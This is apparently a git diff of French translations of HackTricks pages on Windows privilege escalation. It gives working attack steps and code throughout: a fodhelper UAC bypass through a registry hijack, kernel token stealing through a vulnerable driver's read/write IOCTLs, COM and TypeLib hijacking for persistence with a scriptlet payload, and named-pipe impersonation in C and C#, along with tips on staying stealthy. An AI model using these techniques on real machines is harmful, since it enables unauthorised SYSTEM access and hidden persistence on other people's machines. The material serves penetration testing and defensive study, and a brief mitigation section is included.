|
||||
```
|
||||
Also, using [this](https://en.wikipedia.org/wiki/Windows_10_version_history) page you get the Windows release `1607` from the build versions.
|
||||
De plus, en utilisant [this](https://en.wikipedia.org/wiki/Windows_10_version_history) vous obtenez la version Windows `1607` à partir des numéros de build.
|
||||
|
||||
### UAC Bypass – fodhelper.exe (Registry hijack)
|
||||
|
||||
Le binaire de confiance `fodhelper.exe` est automatiquement élevé sur les versions récentes de Windows. Lorsqu'il est lancé, il interroge le chemin de registre utilisateur ci‑dessous sans valider le verbe `DelegateExecute`. Placer une commande à cet endroit permet à un processus Medium Integrity (l'utilisateur appartient au groupe Administrators) de lancer un processus High Integrity sans UAC prompt.
|
||||
Le binaire de confiance `fodhelper.exe` est auto-élevé sur les versions récentes de Windows. Lorsqu'il est lancé, il interroge le chemin de registre par utilisateur ci‑dessous sans valider le verbe `DelegateExecute`. Y placer une commande permet à un processus Medium Integrity (l'utilisateur est membre du groupe Administrators) de lancer un processus High Integrity sans invite UAC.
|
||||
|
||||
Chemin de registre interrogé par fodhelper:
|
||||
```
|
||||
HKCU\Software\Classes\ms-settings\Shell\Open\command
|
||||
```
|
||||
Étapes PowerShell (définissez votre payload, puis trigger):
|
||||
Étapes PowerShell (définissez votre payload, puis déclenchez) :
|
||||
```powershell
|
||||
# Optional: from a 32-bit shell on 64-bit Windows, spawn a 64-bit PowerShell for stability
|
||||
C:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\powershell -nop -w hidden -c "$PSVersionTable.PSEdition"
|
||||
@ -186,14 +186,14 @@ Start-Process -FilePath "C:\\Windows\\System32\\fodhelper.exe"
|
||||
# 4) (Recommended) Cleanup
|
||||
Remove-Item -Path "HKCU:\Software\Classes\ms-settings\Shell\Open" -Recurse -Force
|
||||
```
|
||||
Remarques :
|
||||
- Fonctionne lorsque l'utilisateur courant est membre du groupe Administrators et que le niveau UAC est par défaut/peu strict (pas Always Notify avec des restrictions supplémentaires).
|
||||
- Utilisez le chemin `sysnative` pour lancer un PowerShell 64-bit depuis un processus 32-bit sur Windows 64-bit.
|
||||
- Payload can be any command (PowerShell, cmd, or an EXE path). Avoid prompting UIs for stealth.
|
||||
Notes :
|
||||
- Fonctionne lorsque l'utilisateur courant est membre des Administrators et que le niveau UAC est par défaut/laxiste (pas Always Notify avec des restrictions supplémentaires).
|
||||
- Utilisez le chemin `sysnative` pour lancer un PowerShell 64-bit depuis un processus 32-bit sur un Windows 64-bit.
|
||||
- Le payload peut être n'importe quelle commande (PowerShell, cmd, ou un chemin EXE). Évitez les UIs qui demandent une interaction pour rester discret.
|
||||
|
||||
#### More UAC bypass
|
||||
#### Autres contournements UAC
|
||||
|
||||
**All** the techniques used here to bypass AUC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
**All** the techniques used here to bypass UAC **require** a **full interactive shell** with the victim (a common nc.exe shell is not enough).
|
||||
|
||||
You can get using a **meterpreter** session. Migrate to a **process** that has the **Session** value equals to **1**:
|
||||
|
||||
@ -203,28 +203,28 @@ You can get using a **meterpreter** session. Migrate to a **process** that has t
|
||||
|
||||
### UAC Bypass with GUI
|
||||
|
||||
If you have access to a **GUI you can just accept the UAC prompt** when you get it, you don't really need a bypass it. So, getting access to a GUI will allow you to bypass the UAC.
|
||||
Si vous avez accès à une **GUI**, vous pouvez simplement accepter l'invite UAC lorsqu'elle apparaît ; vous n'avez pas vraiment besoin de la contourner. Obtenir l'accès à une GUI vous permettra donc de contourner UAC.
|
||||
|
||||
Moreover, if you get a GUI session that someone was using (potentially via RDP) there are **some tools that will be running as administrator** from where you could **run** a **cmd** for example **as admin** directly without being prompted again by UAC like [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). This might be a bit more **stealthy**.
|
||||
De plus, si vous obtenez une session GUI qu'une personne utilisait (potentiellement via RDP), il existe **des outils qui s'exécuteront en tant qu'administrateur** depuis lesquels vous pourriez **lancer** un **cmd**, par exemple **en tant qu'admin**, directement sans être reproché par UAC, comme [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Cela peut être un peu plus **discret**.
|
||||
|
||||
### Noisy brute-force UAC bypass
|
||||
|
||||
If you don't care about being noisy you could always **run something like** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) that **ask to elevate permissions until the user does accepts it**.
|
||||
Si le bruit ne vous dérange pas, vous pouvez toujours **exécuter quelque chose comme** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) qui **demande d'élever les permissions jusqu'à ce que l'utilisateur accepte**.
|
||||
|
||||
### Your own bypass - Basic UAC bypass methodology
|
||||
|
||||
If you take a look to **UACME** you will note that **most UAC bypasses abuse a Dll Hijacking vulnerabilit**y (mainly writing the malicious dll on _C:\Windows\System32_). [Read this to learn how to find a Dll Hijacking vulnerability](../windows-local-privilege-escalation/dll-hijacking/index.html).
|
||||
|
||||
1. Find a binary that will **autoelevate** (check that when it is executed it runs in a high integrity level).
|
||||
2. With procmon find "**NAME NOT FOUND**" events that can be vulnerable to **DLL Hijacking**.
|
||||
3. You probably will need to **write** the DLL inside some **protected paths** (like C:\Windows\System32) were you don't have writing permissions. You can bypass this using:
|
||||
1. **wusa.exe**: Windows 7,8 and 8.1. It allows to extract the content of a CAB file inside protected paths (because this tool is executed from a high integrity level).
|
||||
2. **IFileOperation**: Windows 10.
|
||||
4. Prepare a **script** to copy your DLL inside the protected path and execute the vulnerable and autoelevated binary.
|
||||
1. Trouvez un binaire qui va **autoelevate** (vérifiez qu'à son exécution il tourne à un niveau d'intégrité élevé).
|
||||
2. Avec procmon, trouvez des événements "**NAME NOT FOUND**" qui peuvent être vulnérables au **DLL Hijacking**.
|
||||
3. Vous aurez probablement besoin de **écrire** la DLL dans certains **chemins protégés** (comme C:\Windows\System32) où vous n'avez pas les permissions d'écriture. Vous pouvez contourner cela en utilisant :
|
||||
1. **wusa.exe** : Windows 7, 8 et 8.1. Il permet d'extraire le contenu d'un fichier CAB dans des chemins protégés (parce que cet outil s'exécute à un niveau d'intégrité élevé).
|
||||
2. **IFileOperation** : Windows 10.
|
||||
4. Préparez un **script** pour copier votre DLL dans le chemin protégé et exécuter le binaire vulnérable et autoelevated.
|
||||
|
||||
### Another UAC bypass technique
|
||||
|
||||
Consists on watching if an **autoElevated binary** tries to **read** from the **registry** the **name/path** of a **binary** or **command** to be **executed** (this is more interesting if the binary searches this information inside the **HKCU**).
|
||||
Consiste à observer si un **autoElevated binary** essaie de **lire** depuis le **registry** le **nom/chemin** d'un **binary** ou d'une **command** à **exécuter** (c'est plus intéressant si le binaire cherche cette information dans le **HKCU**).
|
||||
|
||||
## References
|
||||
- [HTB: Rainbow – SEH overflow to RCE over HTTP (0xdf) – fodhelper UAC bypass steps](https://0xdf.gitlab.io/2025/08/07/htb-rainbow.html)
|
||||
|
File diff suppressed because it is too large
Load Diff
@ -4,35 +4,35 @@
|
||||
|
||||
## Vue d'ensemble
|
||||
|
||||
Si un driver vulnérable expose un IOCTL qui donne à un attaquant des primitives de lecture et/ou d'écriture arbitraires dans le kernel, l'élévation vers NT AUTHORITY\SYSTEM peut souvent être obtenue en volant un token SYSTEM. La technique copie le pointeur Token depuis l'EPROCESS d'un processus SYSTEM dans l'EPROCESS du processus courant.
|
||||
Si un driver vulnérable expose un IOCTL donnant à un attaquant des primitives de lecture et/ou d'écriture arbitraires dans le kernel, l'élévation vers NT AUTHORITY\SYSTEM peut souvent être obtenue en volant le token d'accès SYSTEM. La technique copie le pointeur Token de l'EPROCESS d'un process SYSTEM dans l'EPROCESS du processus courant.
|
||||
|
||||
Pourquoi ça marche :
|
||||
- Chaque processus possède une structure EPROCESS qui contient (parmi d'autres champs) un Token (en réalité un EX_FAST_REF vers un objet token).
|
||||
- Le processus SYSTEM (PID 4) détient un token avec tous les privilèges activés.
|
||||
- Remplacer l'EPROCESS.Token du processus courant par le pointeur du token SYSTEM fait que le processus courant s'exécute immédiatement en tant que SYSTEM.
|
||||
Pourquoi ça fonctionne :
|
||||
- Chaque processus possède une structure EPROCESS qui contient (entre autres champs) un Token (en fait un EX_FAST_REF vers un objet token).
|
||||
- Le processus SYSTEM (PID 4) possède un token avec tous les privilèges activés.
|
||||
- Remplacer l'EPROCESS.Token du processus courant par le pointeur du token SYSTEM fait exécuter immédiatement le processus courant en tant que SYSTEM.
|
||||
|
||||
> Les offsets dans EPROCESS varient selon les versions de Windows. Déterminez-les dynamiquement (symbols) ou utilisez des constantes spécifiques à la version. Souvenez-vous aussi que EPROCESS.Token est un EX_FAST_REF (les 3 bits de poids faible sont des flags de comptage de références).
|
||||
> Les offsets dans EPROCESS varient selon les versions de Windows. Déterminez-les dynamiquement (symboles) ou utilisez des constantes spécifiques à la version. Notez aussi que EPROCESS.Token est un EX_FAST_REF (les 3 bits de poids faible sont des flags de comptage de références).
|
||||
|
||||
## Étapes générales
|
||||
## Étapes principales
|
||||
|
||||
1) Localisez la base de ntoskrnl.exe et résolvez l'adresse de PsInitialSystemProcess.
|
||||
- Depuis l'user mode, utilisez NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers pour obtenir les bases des drivers chargés.
|
||||
- Ajoutez l'offset de PsInitialSystemProcess (depuis les symbols / reverse) à la base du kernel pour obtenir son adresse.
|
||||
2) Lisez le pointeur à PsInitialSystemProcess → c'est un pointeur kernel vers l'EPROCESS de SYSTEM.
|
||||
3) Depuis l'EPROCESS de SYSTEM, lisez les offsets UniqueProcessId et ActiveProcessLinks pour parcourir la liste doublement chaînée des structures EPROCESS (ActiveProcessLinks.Flink/Blink) jusqu'à trouver l'EPROCESS dont UniqueProcessId égale GetCurrentProcessId(). Conservez les deux :
|
||||
1) Localiser la base de ntoskrnl.exe et résoudre l'adresse de PsInitialSystemProcess.
|
||||
- Depuis le mode utilisateur, utilisez NtQuerySystemInformation(SystemModuleInformation) ou EnumDeviceDrivers pour obtenir les bases des drivers chargés.
|
||||
- Ajoutez l'offset de PsInitialSystemProcess (depuis les symboles/le reverse) à la base du kernel pour obtenir son adresse.
|
||||
2) Lire le pointeur à PsInitialSystemProcess → il s'agit d'un pointeur kernel vers l'EPROCESS de SYSTEM.
|
||||
3) Depuis l'EPROCESS de SYSTEM, lisez les offsets UniqueProcessId et ActiveProcessLinks pour parcourir la liste doublement chaînée des structures EPROCESS (ActiveProcessLinks.Flink/Blink) jusqu'à trouver l'EPROCESS dont UniqueProcessId est égal à GetCurrentProcessId(). Conservez les deux :
|
||||
- EPROCESS_SYSTEM (pour SYSTEM)
|
||||
- EPROCESS_SELF (pour le processus courant)
|
||||
4) Lisez la valeur du token SYSTEM : Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Masquez les 3 bits de poids faible : Token_SYS_masked = Token_SYS & ~0xF (communément ~0xF ou ~0x7 selon le build ; sur x64 les 3 bits de poids faible sont utilisés — masque 0xFFFFFFFFFFFFFFF8).
|
||||
5) Option A (courante) : préservez les 3 bits de poids faible de votre token actuel et greffez-les sur le pointeur SYSTEM pour garder le comptage de références interne cohérent.
|
||||
4) Lire la valeur du token SYSTEM : Token_SYS = *(EPROCESS_SYSTEM + TokenOffset).
|
||||
- Masquez les 3 bits de poids faible : Token_SYS_masked = Token_SYS & ~0xF (généralement ~0xF ou ~0x7 selon le build ; sur x64, les 3 bits de poids faible sont utilisés — masque 0xFFFFFFFFFFFFFFF8).
|
||||
5) Option A (commune) : Conservez les 3 bits de poids faible de votre token actuel et fusionnez-les sur le pointeur SYSTEM pour garder le comptage de références embarqué cohérent.
|
||||
- Token_ME = *(EPROCESS_SELF + TokenOffset)
|
||||
- Token_NEW = (Token_SYS_masked | (Token_ME & 0x7))
|
||||
6) Écrivez Token_NEW dans (EPROCESS_SELF + TokenOffset) en utilisant votre primitive d'écriture kernel.
|
||||
7) Votre processus courant est maintenant SYSTEM. Facultatif : lancez un nouveau cmd.exe ou powershell.exe pour vérifier.
|
||||
7) Votre processus courant est maintenant SYSTEM. Éventuellement, lancez un nouveau cmd.exe ou powershell.exe pour confirmer.
|
||||
|
||||
## Pseudo-code
|
||||
|
||||
Below is a skeleton that only uses two IOCTLs from a vulnerable driver, one for 8-byte kernel read and one for 8-byte kernel write. Replace with your driver’s interface.
|
||||
Ci-dessous un squelette qui n'utilise que deux IOCTLs d'un driver vulnérable, un pour une lecture kernel de 8 octets et un pour une écriture kernel de 8 octets. Remplacez par l'interface de votre driver.
|
||||
```c
|
||||
#include <Windows.h>
|
||||
#include <Psapi.h>
|
||||
@ -106,16 +106,16 @@ return 0;
|
||||
}
|
||||
```
|
||||
Remarques :
|
||||
- Offsets : Utilisez WinDbg’s `dt nt!_EPROCESS` avec les PDBs de la cible, ou un runtime symbol loader, pour obtenir les offsets corrects. Ne hardcodez pas aveuglément.
|
||||
- Masque : Sur x64 le token est un EX_FAST_REF ; les 3 bits bas sont des bits de reference count. Conserver les bits bas originaux de votre token évite des incohérences immédiates du refcount.
|
||||
- Stabilité : Préférez élever le processus courant ; si vous élevez un helper de courte durée vous risquez de perdre SYSTEM quand il se termine.
|
||||
- Offsets : Utilisez WinDbg’s `dt nt!_EPROCESS` avec les PDBs de la cible, ou un chargeur de symboles à l'exécution, pour obtenir les offsets corrects. Ne pas coder en dur les offsets aveuglément.
|
||||
- Mask : Sur x64 le token est un EX_FAST_REF ; les 3 bits de poids faible sont des bits de compteur de références. Conserver les bits faibles originaux de votre token évite des incohérences de refcount immédiates.
|
||||
- Stability : Préférez élever le processus actuel ; si vous élevez un helper de courte durée vous pouvez perdre SYSTEM lorsqu'il se termine.
|
||||
|
||||
## Détection & mitigation
|
||||
- Le chargement de drivers tiers non signés ou non fiables qui exposent des IOCTLs puissants est la cause racine.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, et les règles Attack Surface Reduction peuvent empêcher le chargement de drivers vulnérables.
|
||||
- EDR peut surveiller des séquences IOCTL suspectes qui implémentent arbitrary read/write et les token swaps.
|
||||
## Détection & atténuation
|
||||
- Le chargement de pilotes tiers non signés ou non fiables exposant des IOCTLs puissants est la cause principale.
|
||||
- Kernel Driver Blocklist (HVCI/CI), DeviceGuard, and Attack Surface Reduction rules peuvent empêcher le chargement de pilotes vulnérables.
|
||||
- EDR peut surveiller les séquences IOCTL suspectes qui implémentent des opérations de lecture/écriture arbitraires et les échanges de token.
|
||||
|
||||
## References
|
||||
## Références
|
||||
- [HTB Reaper: Format-string leak + stack BOF → VirtualAlloc ROP (RCE) and kernel token theft](https://0xdf.gitlab.io/2025/08/26/htb-reaper.html)
|
||||
- [FuzzySecurity – Windows Kernel ExploitDev (token stealing examples)](https://www.fuzzysecurity.com/tutorials/expDev/17.html)
|
||||
|
||||
|
@ -2,23 +2,23 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
### Recherche de composants COM inexistants
|
||||
### Searching not existent COM components
|
||||
|
||||
Comme les valeurs de HKCU peuvent être modifiées par les utilisateurs, COM Hijacking peut être utilisé comme mécanisme de persistance. Avec `procmon`, il est facile de trouver des clés de registre COM recherchées qui n'existent pas et que un attaquant pourrait créer pour assurer la persistance. Filtres:
|
||||
Comme les valeurs de HKCU peuvent être modifiées par les utilisateurs, COM Hijacking peut être utilisé comme mécanisme persistant. En utilisant `procmon`, il est facile de trouver des entrées du registre COM recherchées qui n'existent pas et que un attaquant pourrait créer pour assurer une persistance. Filtres :
|
||||
|
||||
- **RegOpenKey** opérations.
|
||||
- où le _Result_ est **NAME NOT FOUND**.
|
||||
- et le _Path_ se termine par **InprocServer32**.
|
||||
|
||||
Une fois que vous avez décidé quel composant COM inexistant usurper, exécutez les commandes suivantes. _Faites attention si vous décidez d'usurper un COM qui est chargé toutes les quelques secondes, car cela pourrait être excessif._
|
||||
Une fois que vous avez décidé quel COM inexistant usurper, exécutez les commandes suivantes. _Faites attention si vous décidez d'usurper un COM qui est chargé toutes les quelques secondes car cela pourrait être excessif._
|
||||
```bash
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}"
|
||||
New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll"
|
||||
New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both"
|
||||
```
|
||||
### Composants COM détournables du Task Scheduler
|
||||
### Composants COM du Planificateur de tâches susceptibles d'être détournés
|
||||
|
||||
Les tâches Windows utilisent des déclencheurs personnalisés pour appeler des objets COM et, comme elles sont exécutées via le Task Scheduler, il est plus facile de prédire quand elles seront déclenchées.
|
||||
Les tâches Windows utilisent des Custom Triggers pour appeler des objets COM et, comme elles sont exécutées via le Planificateur de tâches, il est plus facile de prévoir quand elles seront déclenchées.
|
||||
|
||||
<pre class="language-powershell"><code class="lang-powershell"># Show COM CLSIDs
|
||||
$Tasks = Get-ScheduledTask
|
||||
@ -49,9 +49,9 @@ Write-Host
|
||||
# CLSID: {1936ED8A-BD93-3213-E325-F38D112938E1}
|
||||
# [more like the previous one...]</code></pre>
|
||||
|
||||
En examinant la sortie, vous pouvez en sélectionner une qui sera exécutée, par exemple, **à chaque connexion d'un utilisateur**.
|
||||
En vérifiant la sortie, vous pouvez en sélectionner une qui sera exécutée, par exemple, **à chaque connexion d'un utilisateur**.
|
||||
|
||||
En recherchant maintenant le CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** dans **HKEY\CLASSES\ROOT\CLSID** et dans HKLM et HKCU, vous constaterez généralement que la valeur n'existe pas dans HKCU.
|
||||
En recherchant maintenant le CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** dans **HKEY\CLASSES\ROOT\CLSID** et dans HKLM et HKCU, vous trouverez généralement que la valeur n'existe pas dans HKCU.
|
||||
```bash
|
||||
# Exists in HKCR\CLSID\
|
||||
Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}"
|
||||
@ -72,32 +72,32 @@ Name Property
|
||||
PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}"
|
||||
Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist.
|
||||
```
|
||||
Ensuite, vous pouvez simplement créer l'entrée HKCU et, à chaque connexion de l'utilisateur, votre backdoor sera exécutée.
|
||||
Ensuite, il vous suffit de créer l'entrée HKCU et à chaque connexion de l'utilisateur, votre backdoor sera déclenchée.
|
||||
|
||||
---
|
||||
|
||||
## COM TypeLib Hijacking (script: moniker persistence)
|
||||
|
||||
Les Type Libraries (TypeLib) définissent les interfaces COM et sont chargées via `LoadTypeLib()`. Lorsqu'un serveur COM est instancié, l'OS peut aussi charger le TypeLib associé en consultant les clés de registre sous `HKCR\TypeLib\{LIBID}`. Si le TypeLib path est remplacé par un **moniker**, par ex. `script:C:\...\evil.sct`, Windows exécutera le scriptlet lorsque le TypeLib sera résolu — offrant une persistance discrète qui se déclenche lorsque des composants courants sont sollicités.
|
||||
Les Type Libraries (TypeLib) définissent les interfaces COM et sont chargées via `LoadTypeLib()`. Lorsqu'un serveur COM est instancié, l'OS peut aussi charger le TypeLib associé en consultant les clés du registre sous `HKCR\TypeLib\{LIBID}`. Si le chemin du TypeLib est remplacé par un **moniker**, p.ex. `script:C:\...\evil.sct`, Windows exécutera le scriptlet lorsque le TypeLib sera résolu — générant une stealthy persistence qui se déclenche lorsque des composants courants sont sollicités.
|
||||
|
||||
Cela a été observé contre le Microsoft Web Browser control (fréquemment chargé par Internet Explorer, des applications intégrant WebBrowser, et même `explorer.exe`).
|
||||
Cela a été observé contre le Microsoft Web Browser control (souvent chargé par Internet Explorer, des apps intégrant WebBrowser, et même `explorer.exe`).
|
||||
|
||||
### Étapes (PowerShell)
|
||||
|
||||
1) Identifiez le TypeLib (LIBID) utilisé par un CLSID à forte fréquence. Exemple de CLSID souvent abusé par des chaînes de malware : `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
|
||||
1) Identifiez le TypeLib (LIBID) utilisé par un CLSID fréquemment sollicité. Exemple de CLSID souvent abusé par des malware chains: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}`
|
||||
```powershell
|
||||
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
|
||||
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
|
||||
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
|
||||
"CLSID=$clsid LIBID=$libid VER=$ver"
|
||||
```
|
||||
2) Pointez le chemin TypeLib par utilisateur vers un scriptlet local en utilisant le moniker `script:` (aucun droit administrateur requis) :
|
||||
2) Pointez le chemin TypeLib par utilisateur vers un scriptlet local en utilisant le moniker `script:` (aucun droit d'administration requis) :
|
||||
```powershell
|
||||
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
|
||||
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
|
||||
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
|
||||
```
|
||||
3) Déposer un `.sct` JScript minimal qui relance votre payload principal (par ex. un `.lnk` utilisé par la chaîne initiale) :
|
||||
3) Déposez un `.sct` JScript minimal qui relance votre payload principal (par ex. un `.lnk` utilisé par la chaîne initiale) :
|
||||
```xml
|
||||
<?xml version="1.0"?>
|
||||
<scriptlet>
|
||||
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
|
||||
</script>
|
||||
</scriptlet>
|
||||
```
|
||||
4) Déclenchement – ouvrir IE, une application qui intègre le WebBrowser control, ou même une activité courante d'Explorer chargera le TypeLib et exécutera le scriptlet, réarmant votre chaîne à l'ouverture de session/redémarrage.
|
||||
4) Déclenchement – ouvrir IE, une application qui intègre le WebBrowser control, ou même une activité routinière d'Explorer chargera le TypeLib et exécutera le scriptlet, re-arming your chain on logon/reboot.
|
||||
|
||||
Nettoyage
|
||||
```powershell
|
||||
@ -124,8 +124,8 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
|
||||
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
|
||||
```
|
||||
Remarques
|
||||
- Vous pouvez appliquer la même logique à d'autres composants COM fréquemment utilisés ; résolvez toujours d'abord le vrai `LIBID` depuis `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Sur les systèmes 64-bit, vous pouvez également remplir la sous-clé `win64` pour les consommateurs 64-bit.
|
||||
- Vous pouvez appliquer la même logique à d'autres composants COM fréquemment utilisés ; résolvez toujours d'abord le véritable `LIBID` depuis `HKCR\CLSID\{CLSID}\TypeLib`.
|
||||
- Sur les systèmes 64 bits, vous pouvez également remplir la sous-clé `win64` pour les consommateurs 64 bits.
|
||||
|
||||
## Références
|
||||
|
||||
|
@ -2,29 +2,29 @@
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
Named Pipe client impersonation est un primitive d'escalade de privilèges locale qui permet à un thread serveur de named pipe d'adopter le contexte de sécurité d'un client qui s'y connecte. En pratique, un attaquant capable d'exécuter du code avec SeImpersonatePrivilege peut contraindre un client privilégié (par ex., un service SYSTEM) à se connecter à un pipe contrôlé par l'attaquant, appeler ImpersonateNamedPipeClient, dupliquer le token obtenu en un token primaire et lancer un processus en tant que ce client (souvent NT AUTHORITY\SYSTEM).
|
||||
Named Pipe client impersonation est une primitive d'escalade de privilèges locale qui permet à un thread serveur de named-pipe d'adopter le contexte de sécurité d'un client qui s'y connecte. En pratique, un attaquant capable d'exécuter du code avec SeImpersonatePrivilege peut contraindre un client privilégié (par ex. un service SYSTEM) à se connecter à un pipe contrôlé par l'attaquant, appeler ImpersonateNamedPipeClient, dupliquer le token résultant en un token primaire, et lancer un processus en tant que client (souvent NT AUTHORITY\SYSTEM).
|
||||
|
||||
Cette page se concentre sur la technique de base. Pour des chaînes d'exploit de bout en bout qui forcent SYSTEM à se connecter à votre pipe, voir les pages de la famille Potato référencées ci-dessous.
|
||||
Cette page se concentre sur la technique de base. Pour des chaînes d'exploitation de bout en bout qui forcent SYSTEM à se connecter à votre pipe, voir les pages Potato family référencées ci-dessous.
|
||||
|
||||
## TL;DR
|
||||
- Create a named pipe: \\.\pipe\<random> and wait for a connection.
|
||||
- Faire en sorte qu'un composant privilégié s'y connecte (spooler/DCOM/EFSRPC/etc.).
|
||||
- Créer un named pipe: \\.\pipe\<random> et attendre une connexion.
|
||||
- Forcer un composant privilégié à s'y connecter (spooler/DCOM/EFSRPC/etc.).
|
||||
- Lire au moins un message depuis le pipe, puis appeler ImpersonateNamedPipeClient.
|
||||
- Ouvrir l'impersonation token du thread courant, DuplicateTokenEx(TokenPrimary), et CreateProcessWithTokenW/CreateProcessAsUser pour obtenir un processus SYSTEM.
|
||||
- Ouvrir le token d'impersonation depuis le thread courant, DuplicateTokenEx(TokenPrimary), et CreateProcessWithTokenW/CreateProcessAsUser pour obtenir un processus SYSTEM.
|
||||
|
||||
## Requirements and key APIs
|
||||
- Privilèges généralement nécessaires au processus/thread appelant :
|
||||
- SeImpersonatePrivilege pour impersonate avec succès un client qui se connecte et pour utiliser CreateProcessWithTokenW.
|
||||
- Alternatively, after impersonating SYSTEM, you can use CreateProcessAsUser, which may require SeAssignPrimaryTokenPrivilege and SeIncreaseQuotaPrivilege (these are satisfied when you’re impersonating SYSTEM).
|
||||
- Core APIs used:
|
||||
## Exigences et APIs clés
|
||||
- Privilèges généralement requis par le processus/thread appelant :
|
||||
- SeImpersonatePrivilege pour impersonner avec succès un client qui se connecte et pour utiliser CreateProcessWithTokenW.
|
||||
- Alternativement, après avoir impersonné SYSTEM, vous pouvez utiliser CreateProcessAsUser, ce qui peut nécessiter SeAssignPrimaryTokenPrivilege et SeIncreaseQuotaPrivilege (ces privilèges sont satisfaits lorsque vous impersonnez SYSTEM).
|
||||
- APIs principales utilisées :
|
||||
- CreateNamedPipe / ConnectNamedPipe
|
||||
- ReadFile/WriteFile (must read at least one message before impersonation)
|
||||
- ImpersonateNamedPipeClient and RevertToSelf
|
||||
- ReadFile/WriteFile (il faut lire au moins un message avant l'impersonation)
|
||||
- ImpersonateNamedPipeClient et RevertToSelf
|
||||
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
|
||||
- CreateProcessWithTokenW or CreateProcessAsUser
|
||||
- Impersonation level: to perform useful actions locally, the client must allow SecurityImpersonation (default for many local RPC/named-pipe clients). Clients can lower this with SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION when opening the pipe.
|
||||
- Impersonation level : pour effectuer des actions utiles localement, le client doit autoriser SecurityImpersonation (par défaut pour de nombreux clients RPC/named-pipe locaux). Les clients peuvent abaisser ce niveau avec SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION lors de l'ouverture du pipe.
|
||||
|
||||
## Minimal Win32 workflow (C)
|
||||
## Flux de travail Win32 minimal (C)
|
||||
```c
|
||||
// Minimal skeleton (no error handling hardening for brevity)
|
||||
#include <windows.h>
|
||||
@ -69,11 +69,11 @@ return 0;
|
||||
}
|
||||
```
|
||||
Remarques :
|
||||
- Si ImpersonateNamedPipeClient renvoie ERROR_CANNOT_IMPERSONATE (1368), assurez-vous de lire d'abord depuis le pipe et que le client n'a pas restreint l'impersonation au niveau Identification.
|
||||
- Privilégiez DuplicateTokenEx avec SecurityImpersonation et TokenPrimary pour créer un jeton principal adapté à la création de processus.
|
||||
- Si ImpersonateNamedPipeClient renvoie ERROR_CANNOT_IMPERSONATE (1368), assurez-vous d'avoir lu depuis le pipe en premier et que le client n'ait pas restreint l'impersonation au niveau Identification.
|
||||
- Préférez DuplicateTokenEx avec SecurityImpersonation et TokenPrimary pour créer un token primaire adapté à la création de processus.
|
||||
|
||||
## .NET exemple rapide
|
||||
Dans .NET, NamedPipeServerStream peut effectuer une impersonation via RunAsClient. Une fois en impersonation, dupliquez le jeton de thread et créez un processus.
|
||||
Dans .NET, NamedPipeServerStream peut effectuer de l'impersonation via RunAsClient. Une fois en impersonation, dupliquez le token du thread et créez un processus.
|
||||
```csharp
|
||||
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
|
||||
class P {
|
||||
@ -93,8 +93,8 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
|
||||
}
|
||||
}
|
||||
```
|
||||
## Déclencheurs/coercitions courants pour amener SYSTEM à votre pipe
|
||||
Ces techniques forcent des services privilégiés à se connecter à votre named pipe afin que vous puissiez vous faire passer pour eux :
|
||||
## Déclencheurs/contraintes courants pour forcer SYSTEM à se connecter à votre pipe
|
||||
Ces techniques forcent des services privilégiés à se connecter à votre named pipe afin que vous puissiez les usurper :
|
||||
- Print Spooler RPC trigger (PrintSpoofer)
|
||||
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
|
||||
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
|
||||
@ -110,27 +110,27 @@ roguepotato-and-printspoofer.md
|
||||
juicypotato.md
|
||||
{{#endref}}
|
||||
|
||||
Si vous avez juste besoin d'un exemple complet montrant la création du pipe et l'usurpation pour lancer SYSTEM depuis un déclencheur de service, voir :
|
||||
